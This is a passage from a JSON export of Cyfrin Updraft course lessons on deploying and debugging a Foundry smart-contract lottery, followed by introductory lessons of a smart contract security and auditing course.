deploy\n\n```\n\n## Automating Tasks with Makefile\n\nThe idea behind using a Makefile is to define all the commands we want to execute in our file. Including `env` allows our Makefile to be aware of our EMV environment variable. The `phony` all test deploy ensures that these are targets for our Makefile.\n\n### Adding a Help Function to Our Makefile\n\nA Makefile can get complicated as we add more commands and scripts. To help newbies or even ourselves in the future, we can add a small `help` command that explains how to use the Makefile.\n\n```makefile\n help: @echo \"Usage:\"\n @echo \"make deploy [ARGS=...]\"\n```\n\nCalling `make help` in the terminal will now provide a quick usage guide. Pro-tip: make sure to spell 'usage' correctly!\n\n## Building the Project\n\nIn the Makefile, adding a target `build` allows us to compile or build our project with `make build` or `forge build`. Remember, `:` and `;` mean the command is equivalent to a new line command.\n\n```makefile\nbuild:; forge build\n```\n\nThe Makefile will produce an error if we haven't set the version of solidity in the 'interaction test t sol file. Therefore, we do that with `Pragma solidity 0.8.18 build`.\n\n## Installing Dependencies\n\nWe also need to add an `install` command in the Makefile. This function lets anyone who clones our project know what dependencies they need to install. Here's how you can add this to your Makefile:\n\n```makefile\ninstall :; forge install Cyfrin/foundry-devops@0.0.11 --no-commit && forge install smartcontractkit/chainlink-brownie-contracts@0.6.1 --no-commit && forge install foundry-rs/forge-std@v1.5.3 --no-commit && forge install transmissions11/solmate@v6 --no-commit\n```\n\nAs we want the resultant text to be clean, we can use the 'toggle word wrap' option. This operation wraps any long command into multiple lines, giving the appearance of multiple different lines, whereas it technically remains a single line command.\n\nPulling up the terminal with `make install` reinstalls all the packages we ran with `forge install`, aiding efficiency of our process.\n\n## The Test and Deploy Targets\n\nHere, we add a `test` target, a necessary function in our Makefile, which simply calls `forge test.` Then, we define the `deploy` target.\n\n```makefile\ntest :; forge test\ndeploy:\n\t@forge script script/DeployRaffle.s.sol:DeployRaffle $(NETWORK_ARGS)\n```\n\nThis makes our deployment process easier and organized as opposed to running a giant line command each time we need to deploy our contracts. Note that `forge script` followed by the path tells Foundry to use the `run` function in whichever contract we've specified.\n\n\n\n## If Else Statement in Makefile\n\nWe want our Makefile to select a different chain based on the ARGS we pass. Thus, we define an `if else` statement that checks for network Sepolia. If it exists, the Makefile uses Sepolia; otherwise, it defaults to Anvil.\n\n```makefile\nifeq ($(findstring --network sepolia,$(ARGS)),--network sepolia)\n\tNETWORK_ARGS := --rpc-url $(SEPOLIA_RPC_URL) --private-key $(PRIVATE_KEY) --broadcast --verify --etherscan-api-key $(ETHERSCAN_API_KEY) -vvvv\nendif\n```\n\nWe can verify if this works by running `make deploy` in the terminal, which should display the actual script output. Suppose we choose not to pass the network, Anvil will be selected by default. Adding \"@\" prevents the command from being printed, thus protecting the security of our private key.\n\n## Conclusion\n\nTesting may seem tedious and kind of 'too much hassle' to put into our efforts, but it's worth it. Not only does it save us from dire situations, but it also gives an assurance that our code is strong enough to perform in real-life scenarios.\n\nMakefile provides a great way to automate many of these testing processes and to make your life much easier. In future posts, we'll delve deeper into the power of Makefiles. For now, experiment with testing, and happy coding!\n", + "updates": [] + }, + { + "id": "6cce2a3f-4ff2-467b-ad07-6e69500bdb7f", + "number": 34, + "title": "Deploy the lottery on the testnet pt.2", + "slug": "the-demo", + "folderName": "34-the-demo", + "description": "This lesson covers the deployment of a smart contract on the Sepolia testnet, including how to use a makefile for efficient deployment, verification, and interaction with the contract on Etherscan. It also discusses the role of Chainlink in the contract.", + "duration": 7, + "videoUrl": "jCOaOV_dzm4", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/34-the-demo/+page.md", + "markdownContent": "---\ntitle: Testnet Demo... The Demo\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nBeing able to deploy smart contracts to a real testnet is a crucial skill for any blockchain developer. If you ever find yourself at a loss trying to deploy your contract, this comprehensive guide has got you covered. We will be deploying a contract onto network Sepolia, using a makefile that conveniently eliminates the need for running `source .env`. Ultimately, we will interact with our live contract directly on Etherscan!\n\n## The Deployment and Verification Process\n\nInitiate the deployment by using the `make deploy` code. The deployment will result in a series of logs being printed out, reassuring you about the success of the scripts. The transactions will then appear on-chain, marked by the statement `Execute. Completely successful.`.\n\n```bash\nmake deploy ARGs=\"--network sepolia\"\n```\n\n### Addressing Foundry\n\nAs of the time of writing, Foundry, a development tool for Substrate, has a known bug where it deploys libraries along with on-chain deployments.\n\n### Accessing the Contract on Sepolia\n\nThe second contract address on Sepolia can be accessed by pasting it on the given network. Once navigated to the contract, you should find it already verified.\n\n### Understanding Chainlink\n\nNavigating to VRF Chainlink Sepolia 1893, if you have already subscribed and funded, you will find your latest consumer already added. In our case, it was the raffle contract we had just launched.\n\nDon't forget: for the contract to work, ensure you have sufficient LINK in your deploying wallet!\n\n```bash\nVRF Chainlink Sepolia 1893\n```\n\n## Write More Interactions for Your Contract\n\nOnce the contract is deployed, new interactions can be written, examples being `enter lottery`, `wait for a winner`, etc. Ethereum's Etherscan allows for connecting and interacting directly with contracts on the platform.\n\nThis guide focuses on using Etherscan, but for those who prefer good ol' Badass, the `cast` command works perfectly fine too.\n\n### Coming Face-to-Face with Raffle\n\nUnder the \"write contract\" tab on Etherscan, connect to Web3 and navigate to the `enter raffle` command. Select `write contract` and enter the amount you'd like for the transaction.\n\nGo to the `read contract` to check the contract's current state. Here, you can view the `recent winner`, `players`, `raffle state`, `entrance fee`, amongst other variables.\n\n### Registering a New Upkeep with Chainlink\n\nCreate and register a new upkeep on Chainlink, either manually or programmatically. Connect your wallet and fill in the contract address. After entering the desired `gas limit` and `starting balance`, click on 'register'.\n\nThe reason we have to register again is because our raffle has a `check upkeep` and `perform upkeep`, which can be called by anyone provided the conditions are met. To have the Chainlink network automatically perform these functions without interaction, create a subscription with Chainlink's network.\n\nA subscription can be set up on-chain and would be added to the active drawing upon sufficient funding. The Chainlink VRF would kick off when `performupkeep` runs.\n\n### Checking the Recent Winner\n\nWhile waiting for the VRF response, head back to the contract on Etherscan. Click 'refresh', connect to Web3 again, and scroll down to find the `recent winner`.\n\n\n\nAlternatively, transactions can be sent via Cast, which can be added to our makefile. Use the `cast call` command for calls not needing transaction publication. For the `get recent winner` parameter, use the `cast call` command. Don't forget the RPC URL, which in our case, is the Sepolia RPC URL.\n\n```bash\ncast call --help\n```\n\n```bash\ncast call [Lottery Address]\n```\n\n```bash\nsource .env\n```\n\nWith the contract address copy-pasted, the result is zero-padded. By trimming off the excess zeroes, you can confirm that it is indeed your contract address. Congratulations, you won your own lottery!\n", + "updates": [] + }, + { + "id": "b92cbae2-aed6-4176-9787-c66526feb836", + "number": 35, + "title": "Implementing console log in your smart contract", + "slug": "solidity-console-log-debug", + "folderName": "35-console-log-debug", + "description": "Focusing on debugging techniques in Solidity, this lesson teaches the implementation of console.log for debugging smart contracts. It highlights the importance of removing console logs before deploying to mainnet or testnet to save Ether and maintain efficiency.", + "duration": 2, + "videoUrl": "Xqe5x6LcgWA", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/35-console-log-debug/+page.md", + "markdownContent": "---\ntitle: Console.log Debugging\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nTechnology is not always without complications. Bugs and glitches are common occurrences in the field of program writing. But if there is a problem, then a solution exists. Especially when working with Solidity in the Ethereum blockchain, it's critical to have a firm grip on debugging techniques. Today, I'm going to walk you through an additional tool you can use when debugging Solidity projects. From showing stack traces to logging console messages, we're going to cover it all. Buckle up!\n\n## The Power of Forge\n\nThe key lies in a command we ran during our tests - `forge test -vv` or `forge test -vvv`. The beauty of this command lies in its ability to show us the _stack trace_ of our output.\n\nWhen we write our tests, one way we've handled debugging in the past is by utilizing the `console` function in our contracts. For instance, let's consider a Raffle function we'd set up.\n\n```js\nimport { console } from \"forge-std/console.sol\";\n```\n\nWith this line of code, we import the `console` bit right at the start of our Raffle. Then, we proceed to apply the `console.log` command to any function we please, as demonstrated below:\n\n```js\nconsole.log(\"Hi\");\n```\n\nIn any test, where we call Enter Raffle, the console will log the message we've inserted.\n\n## A Crucial Word of Warning\n\n\n\nHere's a heads up: always ensure to remove these console log commands before deploying to a mainnet or a testnet. Here's why:\n\n\n\nIn other words, remember to delete the console actions post-debugging. While it might seem trivial, adhering to this practice could save you a considerable amount of Ether.\n\n## Conclusion\n\nAnd there you have it - an extra instrument in your programming toolkit. Concealed within the tangle of coding constructs and Solidity conventions, the `console.log` command could make your debugging journey smoother.\n\nSo the next time you grind through your lines of Solidity code, remember that the console's got your back! It might just be the help that you needed all along. Happy coding!\n", + "updates": [] + }, + { + "id": "546efd1b-ad91-41e9-b7ab-641fb7c49ff9", + "number": 36, + "title": "Debug using forge test", + "slug": "forge-test-debug", + "folderName": "36-forge-test-debug", + "description": "Introducing the Forge Debug Tool, this lesson explains how to use the debug functionality in Forge for in-depth analysis and step-through of smart contract code. It emphasizes the tool's utility in understanding specific elements in code for advanced debugging.", + "duration": 2, + "videoUrl": "EfoL48ZM2uM", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/36-forge-test-debug/+page.md", + "markdownContent": "---\ntitle: Forge Test --Debug\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\nIn the wide universe of tools available for debugging code in Opcodes, there's one that's proven to be both robust and in-depth. Say hello to the Forge Debug Tool - a dynamic tool designed to make your experience with Opcodes more hands-on and lucid. While it may seem intimidating at first, in this post, we're going to gently introduce you to this tool and its more granular aspects.\n\n## What Makes the Forge Debug Tool Stand Out?\n\nLet's get the ball rolling by showing you how it operates so you can understand why you might want to use it.\n\nInstead of running the conventional `forge test`, you'll have to run `forge test debug`, followed by the function you intend to debug. If executed correctly, this command will usher you into an interactive step-through of your code.\n\n```bash\n$ forge test --debug testRaffleRecordsPlayerWhenTheyEnter\n```\n\nOnce you're in, you gain access to a live playthrough of the specific Opcodes of your contract. Much like taking an exploratory dive into the inner workings of your code. This prompt should result in the help section popping up at the screen's lower part. It's a bit like calling for backup; the help section provides clarifications about the different features of the debug tool.\n\n## Diving Deeper: A Tug of War between Opcodes\n\nAfter initializing the help option, the real fun begins. When you type `J`, you'll be able to navigate through your function Opcode by Opcode.\n\n```bash\n$ J\n```\n\n\n\nNow, treading through your code like this might seem like an endeavor fit for a painstakingly detailed person. That's because it is. Inspecting your code this way offers a highly granular and detailed way of debugging.\n\n\n\nThe Forge Debug Tool puts the crystalline probe of understanding into your hands, allowing you to pinpoint specific elements in your code. So, while this method seems tedious, it’s incredibly helpful when the code's integrity is of utmost importance.\n\n## The Caveat: Timing Matters.\n\nSo, should you begin your coding journey with this method? Probably not. But, trust that as you get more advanced, the necessity for something like this will start to reveal itself. In those times when understanding why code behaves a certain way feels like cracking a code, this tool will come in handy.\n\nHowever, remember that there is no need to go overboard with it in the early learning stages. It's an advanced utility that's designed to aid advanced problems, and during your course's initial stages, it's best to stick to the basics.\n\n## Towards the Future: Assembly and Security Course\n\nThis blog post was meant to be an introduction to the Forge Debug Tool and won't dive into the details. You don't have to be a pro with this tool now, but being aware of its existence and what it can do for your code is essential.\n\nBy the way, there's also some exciting news for those passionate about assembly and security in coding. We are currently working on crafting an assembly and security course for you. This forthcoming course will further expand on the Forge Debug Tool and various other essential aspects of learning advanced programming languages.\n\nSo, keep an eye out!\n\n## Wrapping Up\n\nDespite being an advanced tool, the Forge Debug Tool can be an invaluable commodity as your understanding of Opcodes evolves and becomes more nuanced. Used correctly and at the right time, it can transform the tedious debugging phase into a phase of meaningful learning. Don't be afraid to explore it, but do so when the time is right!\n", + "updates": [] + }, + { + "id": "3349af70-4777-4e65-9af8-ad603cae3313", + "number": 37, + "title": "Section recap", + "slug": "recap", + "folderName": "37-recap", + "description": "A comprehensive recap of creating a provably fair lottery on the blockchain. The lesson revisits key components like custom errors, enums, private variables, constructor verbosity, raffle and Chainlink automation, and deployment on testnet, culminating in a complete overview of the project.", + "duration": 6, + "videoUrl": "fMDhz3CnIpQ", + "rawMarkdownUrl": "/routes/foundry/4-smart-contract-lottery/37-recap/+page.md", + "markdownContent": "---\ntitle: Recap\n---\n\n_Follow along with this lesson and watch the video below:_\n\n\n\n---\n\n# Building a Provably Fair Lottery on the Blockchain\n\nToday, let's do a recap of a project we recently accomplished — creating a provably fair lottery using blockchain technology! This might sound complex (and it is!), but it's exciting news. Let's understand why.\n\nEver thought of why you should use any other lottery system that's not blockchain-based? To be honest, the answer is a definite 'No.' The most compelling reason being that no other lottery provides you with the same level of randomness and transparency as blockchain does.\n\nSo, buckle up! Let's dive into this tutorial and take apart every component of our blockchain lottery contract.\n\n## Custom Errors, Enums and Private Variables\n\nIn our lottery contract, we kicked things off with some custom gas-efficient errors, including errors that accept multiple parameters. Part of the code we utilized was the type declarations. We took advantage of enums, assigning them different values and wrapping them as unsigned integers.\n\nOne essential part of our lottery contract was our beautiful, private state variables—part of our strong privacy practice. Additionally, we created getters for any variables we wanted to expose.\n\n## Verbose Constructor\n\nOne particular feature is that the constructor of our contract is verbose. By adjusting the deployment parameters accordingly, we are able to deploy this contract on any chain, ensuring flawless functionality. This holds true whether we're forking a testnet or a mainnet. The only thing required to accommodate a different network is a distinct network configuration.\n\n## Raffle and Chainlink Automation\n\nWe designed a raffle that emits a log, streamlining migrations and frontend indexing. We also learned about and integrated the Chainlink automation to automatically call our smart contracts.\n\nThe automation upkeep of our smart contracts led to an amazing result—it ran once because the perform upkeep requirement was met.\n\n## Smart Contract Execution and Testing\n\nOnce triggered, the Chainlink network replies by calling the `fulfill random words` function, which selects our random winner. We got a good look into the CEI - checks effects interactions pattern, where we implement checks, conduct effects and eventually process our external interactions outside of the smart contracts.\n\nWe provided several getter functions. Surprisingly, the codebase for this project is only about 200 lines long, but it felt much longer because of the advanced scripting and deployment methods we had to learn.\n\nWe deployed our contract using a helper configuration file. This ensured that this deployment will function flawlessly on whatever chain it's deployed. To bridge interactions with actual blockchain, while testing, we deployed mock contracts.\n\n## Broadcasting and Interaction via Command Line\n\nOnce the mockup and initial stage were completed, we began broadcasting and deploying our Raffle. Subsequently, we added our consumer to the VRF programmatically.\n\nAdditionally, we devised an interactions script to make it easier for us to run commands for adding consumers, creating, or funding subscriptions from our command line. This is way more straightforward than having to interact with cast.\n\n## Testing and Debugging\n\nDuring the process, we wrote comprehensive unit tests, though we intentionally left some areas that you can explore to level up your skill sets. For example, we tested with mock Chainlink tokens and learned some exciting testing techniques like capturing the event outputs to reuse later in our tests.\n\nWe also worked a lot with modifiers and expected a revert with this `abi encoder` thing. Understanding that will be a task for later.\n\nFinally, we deployed this lottery on an actual testnet chain, funding our automation subscription and our VRF subscription with Link. We observed chainlink nodes handling all this with no issues.\n\n## Recap\n\nThis has been a massive project, filled with learnings and hands-on coding experience. If you've followed through, congratulate yourself. This is the perfect time to take a break, soak up some sun, or binge on your favorite treats.\n\nRemember to post about this amazing project on Twitter, link it to your GitHub and give yourself a pat on the back. Progressing this far is a significant achievement.\n\nAs we advance through this course, you can broaden your technical knowledge related to the Web3 ecosystem. I look forward to your being a part of the remaining exciting lessons in this course. Till then, happy coding!\n\n## Congratulations\n\nYou've completed the course! You're now ready to build your own blockchain applications. Now you are ready to delve into advanced chapters of this course. Take a break, and then come back to learn more about the Web3 ecosystem.\n", + "updates": [] + } + ] + } + ] + }, + { + "id": "aca7cb85-ea1f-4fd3-9bc6-fc39f4609a0a", + "title": "Security and Auditing", + "slug": "security", + "folderName": "security", + "lastUpdated": "Thu Dec 14 2023 10:13:22 GMT-0500 (Eastern Standard Time)", + "trailerUrl": "", + "previewImg": "https://res.cloudinary.com/droqoz7lg/image/upload/f_auto,q_auto/v1/updraft/courses/rdmkzepzrx9b3sf0t3ko", + "description": "Start your career as a smart contract auditor! Learn the best practices for writing secure and optimized smart contracts. Explore techniques like fuzzing, invariant testing, formal verification, and more to identify bugs and protect web3 protocols.", + "path": "foundations", + "number": 0, + "githubUrl": "https://github.com/Cyfrin/security-and-auditing-full-course-s23/discussions", + "overview": { + "learnings": "Smart contracts invariant and fuzz testing, Stateless And Stateful Fuzzing Practice, Upgreadable smart contracts, smart contracts auditing, Aderyn, Slither, Manual review, Smart contracts testing ", + "preRequisites": [ + "Blockchain Basics", + "Solidity fundamentals", + "Foundry fundamentals", + "Advanced Foundry" + ] + }, + "duration": 24, + "authors": [ + { + "name": "Patrick Collins", + "role": "Founder", + "avatarUrl": "https://res.cloudinary.com/droqoz7lg/image/upload/v1700778389/patrick_zrg8k0.webp", + "company": "Cyfrin" + }, + { + "name": "Tincho Abbate", + "role": "Ethereum Security", + "avatarUrl": " https://pbs.twimg.com/profile_images/1485038452886282242/aK7JcLG-_400x400.jpg", + "company": "The Red Guild" + }, + { + "name": "Josselin Feist", + "role": "Head of Blockchain", + "avatarUrl": "https://avatars.sched.co/b/15/8607626/avatar.jpg?f6b", + "company": "Trail of Bits" + }, + { + "name": "Owen Thurm", + "role": "Lead Auditor", + "avatarUrl": "https://pbs.twimg.com/profile_images/1499818161008484355/PJo1p839_400x400.jpg", + "company": "Guardian Audits" + }, + { + "name": "Andy Li", + "role": "Security engineer", + "avatarUrl": "https://pbs.twimg.com/profile_images/1558678143925227520/7WYFIcRm_400x400.jpg", + "company": "Sigma Prime" + }, + { + "name": "Johnny Time", + "role": "Founder", + "avatarUrl": "https://pbs.twimg.com/profile_images/1562787009080475648/lkYT8FUJ_400x400.jpg", + "company": "Gingersec" + }, + { + "name": "Pashov", + "role": "Founder", + "avatarUrl": "https://pbs.twimg.com/profile_images/1598099715719139328/fkww-493_400x400.jpg", + "company": "Pashov Audit Group" + }, + { + "name": "Juliette Chevalier", + "role": "Head of devrels", + "avatarUrl": "https://pbs.twimg.com/profile_images/1521592989411328005/APz0z5t5_400x400.jpg", + "company": "Cyfrin" + }, + { + "name": "Alex Roan", + "role": "Founder", + "avatarUrl": "https://pbs.twimg.com/profile_images/1638556087698767872/zDLhtE2t_400x400.jpg", + "company": "Cyfrin" + } + ], + "sections": [ + { + "number": 0, + "id": "bc71e716-ae9a-45d5-8f06-75bd621b4e98", + "title": "Course Introduction", + "slug": "smart-contract-security-introduction", + "folderName": "0-introduction", + "lessons": [ + { + "id": "5d21322f-ee36-4445-868f-cd39113e7e9b", + "number": 1, + "title": "Trailer", + "slug": "trailer", + "folderName": "1-trailer", + "description": "", + "duration": 1, + "videoUrl": "yq3a3-w8oAI", + "rawMarkdownUrl": "/routes/security/0-introduction/1-trailer/+page.md", + "markdownContent": "---\ntitle: Security Course Trailer\n---\n\n_Follow along with this video_\n\n\n\n---\n\n---\n\n## Ultimate Smart Contract Security, Assembly, and DeFi Curriculum\n\n### Introduction\n\n**Welcome to the ultimate Smart Contract Security, Assembly, and DeFi Curriculum.** This course is designed to provide the most advanced and comprehensive training in EVM assembly, security auditing, and DeFi (Decentralized Finance).\n\n### Course Overview\n\n- **Target Audience:** This course is tailored for individuals seeking deep insights and extensive knowledge in smart contract security, assembly language in EVM (Ethereum Virtual Machine), and decentralized finance applications.\n- **Course Structure:** The curriculum is structured to cover the intricacies of security auditing, the fundamentals and advanced concepts of EVM assembly, and critical aspects of DeFi.\n\n### Objectives\n\n1. **Deep Understanding of Smart Contract Security:** Gain an in-depth knowledge of the security aspects vital for smart contracts in the blockchain ecosystem.\n2. **Proficiency in EVM Assembly:** Develop a solid understanding and hands-on experience with EVM assembly language, crucial for advanced blockchain development.\n3. **Mastery of DeFi Concepts:** Explore and master the concepts and applications of decentralized finance, an emerging and significant sector in the blockchain world.\n\n### Expectations\n\n- **Commitment and Readiness:** The course demands a high level of commitment and is intended for individuals who are ready to dive deep into the complex world of blockchain technology.\n- **Advanced Level:** This is not an introductory course. It is expected that participants already have a foundational understanding of blockchain and programming concepts.\n\n---\n\n**Are you ready to embark on this journey and expand your knowledge in smart contract security, EVM assembly, and DeFi?** Let's get started! 🚀\n\n---\n", + "updates": [] + }, + { + "id": "f7a230be-cc9c-48d4-ba18-bc5b228fb249", + "number": 2, + "title": "Welcome to smart contracts security", + "slug": "welcome-smart-contracts-security", + "folderName": "2-welcome", + "description": "Explore the future of smart contract security in this course. Learn from experts and learn advanced smart contract auditing and research techniques.", + "duration": 5, + "videoUrl": "kJW7TAzyg98", + "rawMarkdownUrl": "/routes/security/0-introduction/2-welcome/+page.md", + "markdownContent": "---\ntitle: Welcome to the ultimate Solidity Course\n---\n\n_Follow along with this video_\n\n---\n\n## The Future of Web3: A focus on Security\n\nWelcome to the future of Web3 security; welcome to what is possibly the most comprehensive course on this subject ever created! As smart contract developers continue to bloom, it becomes imperative to ensure that the security scene keeps up. That’s the core focus of this guide - to level up the game and ensure a safer environment in the Web3 space.\n\n> _\"Security is one of the most important things to unlocking the future of Web3.\"_\n\nWith multiple detailed courses delivered in the past, dedicated to helping novice and intermediate smart contract developers enhance their skills. The accompanying study materials have garnered over 5.5 million views, making them the most-watched smart contract development courses on the planet. Thousands of budding developers have thus started their Web3 journey, equipped with the right knowledge and skills. They are now activated and productive developers in the Web3 space.\n\nThis guide, however, is not for the newcomers. It's an advanced course aimed at those familiar with smart contracts and comfortable with terms like _storage_, _self-destruct_, _fallback functions_, and _ERC20s_. A refresher will be offered at the beginning, but the primary focus will be to provide learners with intensive training in smart contract auditing and research.\n\n## Expert Opinions Matter\n\nIt's always enriching to learn from the best, and this guide takes care of that too. Featuring guest lecturers who are renowned experts in smart contract development:\n\n1. Josselin from Trail of Bits\n2. Owen from Guardian Audience\n3. Andy from Sigma Prime\n4. Johnny Time from Gingersec\n5. Pashov, legendary security researcher.\n6. Hans, one of the top competitive auditors.\n7. Tincho, the former lead auditor at Openzeppelin.\n\nWith these experts by your side, not only will you gain in-depth insights, but also get to explore extensive and carefully curated code samples. A special shout-out to Tincho, who has been actively supporting the development and auditing of the codes that will be discussed in detail.\n\n## Mastering The Skills: Developer to Researcher\n\nPeople planning to take up this course should have a basic understanding of blockchain basics, solidity fundamentals, and working with a smart contract framework such as Hardhat or Foundry. We will primarily focus on Foundry in this guide, but the skills learned can easily be transferred to other frameworks as well.\n\nThe course is not just for auditors; it is also aimed at training security researchers. Because who better to explore and learn about new attacks and analyze possible advances in smart contract technologies than a researcher?\n\nThe [GitHub repo](https://github.com/Cyfrin/security-and-auditing-full-course-s23) associated with the course offers a detailed curriculum and additional resources. If you are already familiar with certain sections, feel free to skip directly to the ones that you need help with or wish to learn more about.\n\n## A Peek into the Future\n\nWe want you to learn effectively, and that's where Cyfrin Updraft comes into play. It's a tool developed to HyperCharge your learning experience and help you grasp things faster. It’s free to sign up for those interested.\n\nYou are perfectly up to speed with the prerequisites if you have already taken the Foundry full course. Access more resources to get up to speed in the GitHub repo associated with the post.\n\n## About the Author\n\nMy name is Patrick Collins, and I am a smart contract developer, educator, security researcher, co-founder of Cyfrin Audits. As an absolute lover of Web3 and smart contract development, I believe that the ability to do fantastic things rests within this sphere. I delight in fueling driven individuals with the knowledge to become productive and start doing amazing things.\n\nArmed with unique insights from top competitive auditors like Hans, independent auditors like Pashov, and seasoned security veterans like Tincho, this blog endeavors to jump-start your security and auditing career. It encapsulates everything learned so far and aims to equip you with the right knowledge to become a positive force in the smart contract security auditing and safety space.\n\nLet's get Froggy. 🐸\n", + "updates": [] + }, + { + "id": "1e19c090-66e6-41ac-a4af-804f32a4c0ff", + "number": 3, + "title": "Prerequisites", + "slug": "prerequisites", + "folderName": "3-prerequisites", + "description": "Find out what prerequisites are required for this course to ensure you're well-prepared for the upcoming lessons.", + "duration": 3, + "videoUrl": "iU6z78oEIoo", + "rawMarkdownUrl": "/routes/security/0-introduction/3-prerequisites/+page.md", + "markdownContent": "---\ntitle: Pre-requisites\n---\n\n_Follow along with this video_\n\n\n\n---\n\n## Pre-requisites for the Smart Contract Security Course\n\n### Introduction\n\nThis course is **not** for beginners. We'll be covering advanced security and DeFi topics in this course and in order to get the most out of it you will _need_ to have a foundation to build upon.\n\n### Necessary Background Knowledge\n\n1. **Blockchain Basics:** A fundamental understanding of blockchain technology is essential.\n2. **Solidity Fundamentals:** Proficiency in Solidity, the primary programming language for writing smart contracts.\n3. **Smart Contract Framework Experience:** Familiarity with a smart contract framework like Hardhat or Foundry is crucial, with a preference for Foundry, as it is the main tool used in this course.\n4. **Key Terms and Concepts:** Terms like storage, self-destruct, fallback functions, and ERC20s should be familiar.\n\n### Course Expectations\n\n- **Level of Skill:** The course assumes a certain level of skill and will only provide a brief refresher at the beginning.\n- **For Auditors and Researchers:** If you have experience in security or auditing, this course will enhance your skills, focusing on not just auditing but also security research and building those skills and habits to make you successful in the space.\n\n### Additional Resources\n\n- **Foundry Full Course:** Our Foundry Full Course will prepare you with all the skills you need to be successful here.\n - [Foundry Fundamentals](https://updraft.cyfrin.io/courses/foundry)\n - [Advanced Foundry](https://updraft.cyfrin.io/courses/advanced-foundry)\n- **GitHub Repository:** Additional resources to help get up to speed are available in the course's [GitHub repository](https://github.com/Cyfrin/security-and-auditing-full-course-s23).\n\n### Course Philosophy and Goal\n\n- **Building a Strong Foundation:** The course aims to provide a solid base in smart contract security.\n- **Empowerment:** It focuses on empowering developers and researchers to contribute significantly to the Web3 space.\n- **Importance of Security:** Emphasizes the crucial role of security in the future of Web3.\n\n---\n\n**Are you ready to build a strong foundation in smart contract security and contribute to the future of Web3?** Let's embark on this journey together!\n\n---\n", + "updates": [] + }, + { + "id": "bccddc5e-3f92-4f8f-9606-01566523e6a5", + "number": 4, + "title": "Best Practices", + "slug": "best-practices", + "folderName": "4-best-practices", + "description": "Learn about best practices in Web 3.0 security to ensure safe and efficient smart contract development.", + "duration": 5, + "videoUrl": "hsMCnoxDrf0", + "rawMarkdownUrl": "/routes/security/0-introduction/4-best-practices/+page.md", + "markdownContent": "---\ntitle: Best Practices\n---\n\n_Follow along with this video_\n\n\n\n---\n\n## Best Practices\n\nWelcome to our Smart Contract Security course! I'm super excited to guide you through this journey. Let’s make sure you get the absolute best out of it.\n\nEssential Resources:\n\n- Cyfrin Updraft - If you're reading this, you're already here. All the most up to date corrections, content and updates will be available here, as accessible as ever and as part of a community eager to help.\n- GitHub Repo - The [Security and Auditing Full Course](https://github.com/Cyfrin/security-and-auditing-full-course-s23) repo is going to be your bible throughout this course. It is packed with all the code and references you need to succeed.\n\nNow, let's talk about how you can really get into the groove of things:\n\n- **Code Along**: Trust me, coding along with me during the lessons will make things stick way better. Have the video up along with your IDE of choice and follow along. Actually going through these motions are what will commit them to memory.\n- **Join the Chat on GitHub**: Got questions? Want to chat with others? Head over to our [GitHub Discussions](https://github.com/Cyfrin/security-and-auditing-full-course-s23/discussions) tab. It's a great spot to talk things out.\n- **Stay Up-to-Date**: Remember, the world of coding changes fast. Keep an eye on Cyfrin Updraft for the latest and greatest in course content.\n- **Dive into the Community** - We have a [Discord](https://discord.gg/cyfrin) server that is great for networking with fellow students and being involved in the community. Join us and share your successes and help others! To go far, we go together!\n\nAbout your learning pace – everyone's different, right? So:\n\n- **Take Breaks**: They’re not just okay, they’re necessary! Your brain will thank you.\n- **Control the Tempo**: Feel free to speed up or slow down the videos. Video playback settings are available to control the pace.\n- **Keep Track of Your Journey**: Use those timestamps in our [GitHub repo](https://github.com/Cyfrin/security-and-auditing-full-course-s23) to bookmark your progress.\n- **Jump Around**: The course is set up so you can hop between sections as you like. Reflect on each lesson to really make it stick.\n\nAnd don’t forget, you’re not alone in this:\n\n- **Connect with the Community**: There are awesome places like [Ethereum Stack Exchange](https://ethereum.stackexchange.com/) and various decentralized Q&A forums, not to mention GitHub, for some solid discussion and collaboration.\n- **Learn Together**: The blockchain and smart contract space is all about teamwork and sharing knowledge. So, getting involved with others will only boost your learning.\n\nAlright, ready to jump in? Just follow these tips, and you'll be navigating through the Smart Contract Security course like a pro. Let’s get started! 🚀👩‍💻👨‍💻\n", + "updates": [] + }, + { + "id": "96c362b5-9aee-4a51-a686-de476257a351", + "number": 5, + "title": "Current state of web3 security", + "slug": "current-state-of-web3-security", + "folderName": "5-current-state", + "description": "Stay up-to-date with the current state of Web3 security and understand the challenges and advancements in this field.", + "duration": 7, + "videoUrl": "-bxlLNAh18E", + "rawMarkdownUrl": "/routes/security/0-introduction/5-current-state/+page.md", + "markdownContent": "---\ntitle: The current state of web3 security\n---\n\n_Follow along with this video_\n\n\n\n---\n\n## The Current State of Web3 Security: A Crucial Call to Action!\n\nThe current state of Web3 security is pretty objectively terrible. Let's look at where we're at and what needs to be done to improve security in the industry.\n\n### A Shocking Reality: Billions Lost in Hacks\n\n- **Billion-Dollar Troubles:** Did you know in 2022 alone, a jaw-dropping $3.1 billion was stolen in crypto hacks? And 2023 isn't looking much better. It's a call to arms for all of us in the Web3 space!\n- **DeFi's Dilemma:** Imagine this - about 7% of DeFi's total value is getting swiped by hackers. That's like saying, \"Hey, deposit your money here, but there's a scary chance it might vanish!\"\n\n### Attack Patterns: The Usual Suspects\n\n**Top Threats:**\n\n- Price oracle manipulation\n- reward manipulation\n- stolen private keys\n\nThese represent only a few of the common attack vectors we see lately. Some vulnerabilities have been around for years and _still_ people are making these mistakes - I'm looking at you _reentrancy_. There's a clear lack of best practices and we need to push back!\n\nThere's an amazing newsletter, every serious security researcher should sign up for called [Block Threat Intelligence](https://newsletter.blockthreat.io/) by Peter Kacherginsky.\n\nJust recently (as of October, 2023), we've seen multi-million dollar hacks, just in the last couple months.\n\n### The Big Picture: How do we move forward?\n\n- **Mainstream Hesitation:** With all these risks, no wonder big financial players are tiptoeing around Web3. It's incumbent upon us to make this space safer for mainstream adoption. How do we do accomplish this?\n- **Reducing the Risk:** It's simple - fewer hacks, more trust. More security focused education, fewer hacks.\n\n### The Bright Side: The future of Web3 Security\n\nSecurity in Web3 is improving every day.\n\n1. More and more people are moving into the security space in Web3. More auditors, more experts, more...safe!\n2. Education is improving in Web3 Security and Web3 as a whole. People are more informed of best practices and what to watch out for\n3. Tooling is improving - with AI and constantly developments in static analysis and vulnerability aggregation - we've never been more equipped to improve security in the 